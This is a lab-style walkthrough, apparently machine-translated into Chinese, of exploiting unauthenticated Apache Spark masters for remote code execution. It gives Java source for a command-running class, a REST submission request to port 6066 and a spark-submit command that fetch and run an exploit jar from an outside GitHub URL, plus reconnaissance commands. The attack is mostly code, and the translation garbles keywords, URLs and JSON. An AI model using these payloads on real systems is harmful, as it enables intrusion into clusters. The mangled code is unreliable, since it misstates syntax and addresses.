Apache Spark 未授权访问漏洞
Apache Spark是一个集群计算系统,该系统支持用户向管理节点提交应用程序并将其分配给群集执行。如果管理节点未启动ACL(访问控制),我们将能够在集群中执行任意代码。漏洞环境
执行以下命令,以独立模式启动Apache Spark群集,并在集群中使用主和一个从:1
Docker -compose -d
启动环境后,访问http://Your-IP:8080以查看主管理页面,然后访问http://Your-IP:8081,查看Slave的管理页面。
漏洞利用
此漏洞的本质是未经授权的用户可以向管理节点提交应用程序,这实际上是恶意代码。有两种提交方法:
利用REST API
杠杆提交的网关(集成在港口7077中)
该应用程序可以是Java或Python,这是最简单的类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
导入java.io.bufferedreader;
导入java.io.io.inputStreamReader;
公共类利用{
public static void main(string [] args)抛出异常{
string [] cmds=args [0] .split(',');
对于(字符串CMD : CMD){
System.out.println(CMD);
system.out.println(executeCommand(cmd.trim()));
system.out.println('===============================================');
}
}
//https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
私有静态字符串executecommand(字符串命令){
StringBuilder输出=new StringBuilder();
尝试{
Process P=Runtime.getRuntime()。执行(命令);
P.Waitfor();
BufferedReader Reader=new BufferedReader(new InputStreamReader(P.GetInputStream()));
字符串线;
while(((line=reader.readline())!=null){
output.append(line).append('\ n');
}
} catch(异常E){
e.printstacktrace();
}
返回output.tostring();
}
}
将其编译成罐子,然后将其放在HTTP或FTP :上
1
正在加载...
github.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
发布/V1/提交/创建HTTP/1.1
HOST: Your-IP:6066
Accept-incoding: Gzip,放气
ACCEPT: /
接受语言: en
用户- 代理: Mozilla/5.0(兼容; MSIE 9.0; Windows NT 6.1; Win64; X64; x64; triend/5.0)
content-type:应用程序/json
连接:关闭
内容长度: 680
{
'Action':'CreateSumissionRequest',
'clientsparkversion':'2.3.1',
'appgs': [
'whoami,w,cat /proc /proces,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf'
],
'批准:'https://github.com/are00t/rce-over-park/raw/master/master/exploit.jar',
'环境变量: {
'spark_env_loaded':'1'
},
'MainClass':'exploit',
'SparkProperties': {
'spark.jars':'https://github.com/are00t/rce-over-park/raw/raw/master/exploit.jar',
'spark.driver.supervise':'false',
'spark.app.name':'exploit',
'spark.eventlog.enabled':'true',
'spark.submit.deploymode':'群集',
'spark.master':'spark: //your-ip:6066'
}
}
其中,Spark.jars是编译的应用程序,MainClass是要运行的类,而Apprgs是传递给应用程序的参数。

返回的软件包具有提交ID,然后访问http://your-ip:8081/logpage/?driverID={intimmissionId} logtype=stdout=stdout以查看执行结果:

请注意,该应用程序是在主机中提交的,并且查看结果在执行应用程序的从属中(默认端口8081)。在实际战斗中,可能有多个奴隶。
用 REST API 方式提交应用:
如果无法访问6066端口或完成权限控制,我们可以使用主端口7077提交申请。该方法是使用Apache Spark随附的脚本bin/spark-Submit:
1
bin/spark-submit -master spark: //your-ip:7077 -deploy-mode cluster -class exploit 3https://github.com/are00t/rce-over-over-park/raw/raw/raw/raw/master/exploit.jar
如果您指定的主参数是REST服务器,则该脚本将首先尝试使用REST API提交应用程序;如果发现它不是REST服务器,它将降级到使用提交网关提交应用程序。
您查看结果的方式与上一个结果一致。